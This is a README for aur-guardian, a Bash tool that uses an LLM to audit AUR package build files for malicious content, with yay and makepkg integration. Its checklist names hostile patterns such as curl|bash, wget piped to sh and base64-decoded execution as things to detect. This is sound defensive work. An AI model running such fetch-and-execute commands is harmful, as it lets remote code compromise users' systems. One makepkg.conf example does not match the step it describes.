aur-guardian

AI-powered security auditor for AUR packages — scans PKGBUILDs, patches, and install scripts for malicious content. Integrates with yay, runs standalone, or fits any makepkg-based workflow.

What it checks

For each package, aur-guardian asks an LLM to review:

• Source URLs — are they from the expected upstream domain, or redirected through a third party?
• Integrity — are checksums (sha256sums, sha512sums, b2sums) present for all sources? Are any SKIP entries unjustified?
• Build scripts — curl|bash, eval on remote content, wget piped to sh, base64-decoded execution, unexpected outbound connections, obfuscated code
• Patches — do diffs match their stated purpose? Any injected backdoors or writes outside the build directory?
• Install scripts — suspicious post-install commands in .install files

Each package gets a verdict: CLEAN, WARNING, or SUSPICIOUS, with a brief explanation. Reports are saved to ~/.config/aur-guardian/reports/.

Requirements

• Bash 4.4+
• GNU grep (for -P flag)
• An LLM CLI that reads a prompt from stdin and writes the response to stdout (see LLM configuration)
• yay (optional, for automatic integration)
• jq (optional, used by install.sh to configure yay)

Installation

git clone https://github.com/YOUR_USERNAME/aur-guardian.git
cd aur-guardian
bash install.sh

install.sh will:

1. Copy the scripts to ~/.config/aur-guardian/
2. Check that your LLM CLI is available
3. Optionally configure yay to use aur-guardian automatically

LLM configuration

Set the AUR_GUARDIAN_LLM environment variable to any command that reads a prompt from stdin and prints the response to stdout. Defaults to claude -p.

# Claude Code CLI (default)
export AUR_GUARDIAN_LLM="claude -p"

# Ollama
export AUR_GUARDIAN_LLM="ollama run llama3"

# shell-gpt
export AUR_GUARDIAN_LLM="sgpt"

Add the export to your ~/.bashrc or ~/.zshrc to make it permanent.

Usage

1. Automatic — yay integration (recommended)

After running install.sh and accepting the yay configuration, aur-guardian runs automatically every time yay installs or upgrades AUR packages. It hooks into yay's editor step, which runs after PKGBUILDs are fetched but before packages are built.

$ yay -Syu

[aur-guardian] Checking google-chrome...
✓ google-chrome: CLEAN
Sources from dl.google.com with valid sha512sums, no suspicious build commands.

[aur-guardian] Checking some-package...
✗ some-package: SUSPICIOUS — review before proceeding!
build() downloads and executes a script from an untrusted domain via curl|bash.
→ Answer N at the next prompt to abort installation.

==> Proceed with installation? [Y/n]

Packages whose files have not changed since the last check are skipped instantly.

To configure yay manually (without install.sh):

yay --editor ~/.config/aur-guardian/aur-guardian.sh --editmenu --answeredit All --save

2. Standalone — single PKGBUILD

aur-guardian.sh /path/to/package/PKGBUILD

Useful for reviewing a specific package before building it manually.

3. Full cache scan

aur-guardian-scan.sh              # scans ~/.cache/yay
aur-guardian-scan.sh /other/path  # scans a custom cache directory

Scans all PKGBUILDs in the cache, reports on anything that has changed since the last run. Handy as a periodic audit or before a batch upgrade.

4. With makepkg

EDITOR=~/.config/aur-guardian/aur-guardian.sh makepkg

Or set it permanently in ~/.makepkg.conf:

BUILDDIR=/tmp/makepkg

State and reports

aur-guardian tracks file hashes in ~/.config/aur-guardian/file_hashes.sha256 to avoid re-analysing unchanged packages. To force a full re-analysis, delete that file:

rm ~/.config/aur-guardian/file_hashes.sha256

Per-package reports are saved to ~/.config/aur-guardian/reports/<package>_<timestamp>.md.

License

MIT